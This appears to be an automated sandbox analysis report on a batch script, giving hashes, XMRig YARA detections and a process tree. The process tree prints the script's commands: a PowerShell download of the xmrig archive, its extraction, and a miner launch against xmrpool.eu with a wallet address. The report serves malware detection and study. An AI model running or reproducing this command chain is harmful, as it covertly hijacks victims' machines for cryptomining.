Analysis
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max time kernel
895s -
max time network
872s -
platform
windows10-2004_x64 -
resource
win10v2004-20250314-en -
resource tags
arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system -
submitted
28/03/2025, 10:13
Behavioral task
behavioral1
Sample
script.bat
Resource
win10v2004-20250314-en
Behavioral task
behavioral2
Sample
script.bat
Resource
win10ltsc2021-20250314-en
General
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Target
script.bat
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Size
793B
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MD5
f29c7cf031f619739012fdbfa95bba54
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SHA1
ccddd138b2e91a4da65da97ec11f2dc661782e60
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SHA256
5e45e7089ffaee30e35a4b61eb918255fbd60c8876956c039165c89a45b51717
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SHA512
1eaff6b177df441c856001e7b1367bc6697552f52249df64531d7eaa6ce5c3b05acfb8b6df791370acc7516cdc798b629693f3ce0b26062998ccd7fb558386e5
Malware Config
Signatures
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XMRig Miner payload 64 IoCs
resource yara_rule behavioral1/files/0x000300000001e99a-60.dat family_xmrig behavioral1/files/0x000300000001e99a-60.dat xmrig behavioral1/memory/4380-62-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-63-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-64-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-65-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-66-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-67-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-68-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-69-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-70-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-71-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-72-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-73-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-74-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-75-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-76-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-77-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-78-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-79-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-80-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-81-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-82-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-83-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-84-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-85-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-86-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-87-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-88-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-89-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-90-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-91-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-92-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-93-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-94-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-95-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-96-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-97-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-98-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-99-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-100-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-101-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-102-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-103-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-104-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-105-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-106-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-107-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-108-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-109-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-110-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-111-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-112-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-113-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-114-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-115-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-116-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-117-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-118-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-119-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-120-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-121-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-122-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig behavioral1/memory/4380-123-0x00007FF78C270000-0x00007FF78CEA4000-memory.dmp xmrig -
Xmrig family
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Blocklisted process makes network request 2 IoCs
flow pid Process 7 2644 powershell.exe 11 2644 powershell.exe -
pid Process 2644 powershell.exe 4140 powershell.exe -
Executes dropped EXE 1 IoCs
pid Process 4380 xmrig.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 2644 powershell.exe 2644 powershell.exe 4140 powershell.exe 4140 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
description pid Process Token: SeDebugPrivilege 2644 powershell.exe Token: SeDebugPrivilege 4140 powershell.exe Token: SeLockMemoryPrivilege 4380 xmrig.exe Token: SeLockMemoryPrivilege 4380 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 4380 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 2184 wrote to memory of 2644 2184 cmd.exe 87 PID 2184 wrote to memory of 2644 2184 cmd.exe 87 PID 2184 wrote to memory of 4140 2184 cmd.exe 99 PID 2184 wrote to memory of 4140 2184 cmd.exe 99 PID 2184 wrote to memory of 4380 2184 cmd.exe 100 PID 2184 wrote to memory of 4380 2184 cmd.exe 100
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\script.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2184 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Invoke-WebRequest -Uri 'https://github.com/xmrig/xmrig/releases/download/v6.22.2/xmrig-6.22.2-gcc-win64.zip' -OutFile 'C:\Users\Admin\Downloads\xmrig.zip'"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2644
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "Expand-Archive -Path 'C:\Users\Admin\Downloads\xmrig.zip' -DestinationPath 'C:\Users\Admin\Downloads\xmrig' -Force"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4140
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C:\Users\Admin\Downloads\xmrig\xmrig-6.22.2\xmrig.exexmrig.exe -o xmrpool.eu:3333 -u 48iBkXw7ciAGbjhPdopSM8JtQy2rAx7MZgX2xbf6Sx3oASN6kAQo6nWYDwmDk6kmYPeVRPi8p1KUUGnp6T3Csuge8aPMtYS -p device32⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:4380
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
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Filesize
1KB
MD5374139b37c8d84090ce648fd57bf9360
SHA1140f560658278f89bcf97d9194f903800c411dc0
SHA256185b5133a0c3b4a2ca35b05dd2c5b8e995926256a4c2433bdbe333745f3efb47
SHA512dc9e639a7c760c21fe57327acff277dd3be886dc56dada61cd5c39bbaa90d631015b0f733139a9257e38c10a5179a673b3bece099cb4b1c627fac9726318802a
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
3.6MB
MD55e48d84b33cc0ca0cdb29b03a875fd3a
SHA1597660c787259fad45f0e69cbb64fb781333c598
SHA25653b37a734ab27bb40626c6434029defbebe8470f2d89b97e7ce85b40c9a3b05f
SHA512a8a3d14a0ffb27fbc1a3e73c3e8dd2d0d7a35e9dc89eb14d9704d75cc9f424c539c042ae71c56197a90915a44fc19f4942c27b87aa0feae339b15a2853fdd3a8
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Filesize
9.1MB
MD5cb166d49ce846727ed70134b589b0142
SHA18f5e1c7792e9580f2b10d7bef6dc7e63ea044688
SHA25649da580656e51214d59702a1d983eff143af3560a344f524fe86326c53fb5ddb
SHA512a39bd86a148af26fd31a0d171078fb7bce0951bb8ea63658d87f6bde97dbc214c62e8bd7152d1e621051de8a0ba77ffd7bda7c1106afb740584c80e68e1912ed